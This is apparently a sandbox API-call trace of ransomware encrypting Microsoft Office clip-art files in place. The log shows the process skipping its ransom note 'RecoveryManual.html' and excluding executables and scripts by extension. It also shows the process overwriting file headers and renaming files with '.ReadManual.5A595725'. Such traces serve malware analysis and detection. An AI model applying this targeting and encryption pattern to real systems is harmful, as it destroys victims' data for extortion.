[0262.959] CloseHandle (hObject=0x184) returned 1 [0262.959] SetSecurityInfo () returned 0x57 [0262.959] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.959] CloseHandle (hObject=0x194) returned 1 [0262.959] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4fe7000, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4fe7000, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x76ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD01657_.WMF", cAlternateFileName="")) returned 1 [0262.959] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD01657_.WMF" | out: lpString1="FD01657_.WMF") returned="FD01657_.WMF" [0262.959] lstrcmpiW (lpString1="FD01657_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.959] StrStrIW (lpFirst="FD01657_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.959] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.959] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.959] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.959] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.959] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.959] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.959] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.959] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.959] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.959] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.959] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.959] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.960] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.960] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.960] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" [0262.960] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.ReadManual.5A595725" [0262.960] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.ReadManual.5A595725") returned 87 [0262.960] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38362844910) returned 1 [0262.960] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x20 [0262.960] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.960] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=30414) returned 1 [0262.960] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x76ce, lpName=0x0) returned 0x184 [0262.960] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.961] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.961] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.963] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.963] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x76ce) returned 0x2f0000 [0262.964] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.964] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38363253566) returned 1 [0262.964] CloseHandle (hObject=0x184) returned 1 [0262.964] SetSecurityInfo () returned 0x57 [0262.964] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.964] CloseHandle (hObject=0x194) returned 1 [0262.964] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb44f00, ftCreationTime.dwHighDateTime=0x1bd4c0c, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4eb44f00, ftLastWriteTime.dwHighDateTime=0x1bd4c0c, nFileSizeHigh=0x0, nFileSizeLow=0x4604, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD01658_.WMF", cAlternateFileName="")) returned 1 [0262.964] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD01658_.WMF" | out: lpString1="FD01658_.WMF") returned="FD01658_.WMF" [0262.964] lstrcmpiW (lpString1="FD01658_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.964] StrStrIW (lpFirst="FD01658_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.964] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.964] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.964] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.964] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.964] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.964] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.964] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.964] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.964] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.964] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.965] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.965] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.965] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.965] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.965] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" [0262.965] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.ReadManual.5A595725" [0262.965] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.ReadManual.5A595725") returned 87 [0262.965] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38363354376) returned 1 [0262.965] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x20 [0262.966] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.966] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17924) returned 1 [0262.966] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4604, lpName=0x0) returned 0x184 [0262.966] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.967] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.967] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.971] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.971] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4604) returned 0x2f0000 [0262.971] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.971] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38363985939) returned 1 [0262.971] CloseHandle (hObject=0x184) returned 1 [0262.971] SetSecurityInfo () returned 0x57 [0262.971] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.971] CloseHandle (hObject=0x194) returned 1 [0262.971] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02ca800, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf02ca800, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x79cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD01659_.WMF", cAlternateFileName="")) returned 1 [0262.971] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD01659_.WMF" | out: lpString1="FD01659_.WMF") returned="FD01659_.WMF" [0262.971] lstrcmpiW (lpString1="FD01659_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.972] StrStrIW (lpFirst="FD01659_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.972] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.972] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.972] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.972] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.972] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.972] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.972] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.972] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.972] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.972] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.972] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.972] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.972] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.972] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.972] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" [0262.972] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.ReadManual.5A595725" [0262.972] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.ReadManual.5A595725") returned 87 [0262.972] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38364085658) returned 1 [0262.972] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x20 [0262.973] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.973] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31180) returned 1 [0262.973] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x79cc, lpName=0x0) returned 0x184 [0262.973] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.974] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.974] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.976] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.976] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x79cc) returned 0x2f0000 [0262.976] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.977] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38364546507) returned 1 [0262.977] CloseHandle (hObject=0x184) returned 1 [0262.977] SetSecurityInfo () returned 0x57 [0262.977] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.977] CloseHandle (hObject=0x194) returned 1 [0262.977] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd62f9d00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd62f9d00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x329e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD01660_.WMF", cAlternateFileName="")) returned 1 [0262.977] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD01660_.WMF" | out: lpString1="FD01660_.WMF") returned="FD01660_.WMF" [0262.977] lstrcmpiW (lpString1="FD01660_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.977] StrStrIW (lpFirst="FD01660_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.977] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.977] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.977] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.977] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.977] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.977] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.977] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.977] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.977] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.977] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.977] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.977] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.978] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.978] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.978] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" [0262.978] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.ReadManual.5A595725" [0262.978] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.ReadManual.5A595725") returned 87 [0262.978] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38364648692) returned 1 [0262.978] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x20 [0262.978] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.978] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12958) returned 1 [0262.978] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x329e, lpName=0x0) returned 0x184 [0262.978] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.979] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.979] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.981] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.981] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x329e) returned 0x2f0000 [0262.981] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.981] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38365017712) returned 1 [0262.981] CloseHandle (hObject=0x184) returned 1 [0262.982] SetSecurityInfo () returned 0x57 [0262.982] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.982] CloseHandle (hObject=0x194) returned 1 [0262.982] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD02068_.WMF", cAlternateFileName="")) returned 1 [0262.982] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD02068_.WMF" | out: lpString1="FD02068_.WMF") returned="FD02068_.WMF" [0262.982] lstrcmpiW (lpString1="FD02068_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.982] StrStrIW (lpFirst="FD02068_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.982] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.982] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.982] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.982] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.982] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.982] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.982] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.982] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.982] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.982] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.982] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.982] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.982] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.982] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.982] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" [0262.982] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.ReadManual.5A595725" [0262.982] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.ReadManual.5A595725") returned 87 [0262.982] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38365116744) returned 1 [0262.982] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x20 [0262.983] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.983] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2488) returned 1 [0262.983] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9b8, lpName=0x0) returned 0x184 [0262.983] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.984] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.984] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.985] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.986] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9b8) returned 0x2f0000 [0262.986] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.986] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38365447794) returned 1 [0262.986] CloseHandle (hObject=0x184) returned 1 [0262.986] SetSecurityInfo () returned 0x57 [0262.986] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.986] CloseHandle (hObject=0x194) returned 1 [0262.986] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD02071_.WMF", cAlternateFileName="")) returned 1 [0262.986] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD02071_.WMF" | out: lpString1="FD02071_.WMF") returned="FD02071_.WMF" [0262.986] lstrcmpiW (lpString1="FD02071_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.986] StrStrIW (lpFirst="FD02071_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.986] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.986] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.986] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.986] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.986] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.986] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.986] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.986] StrCmpIW (psz1="WMF", psz2="bat") returned 1 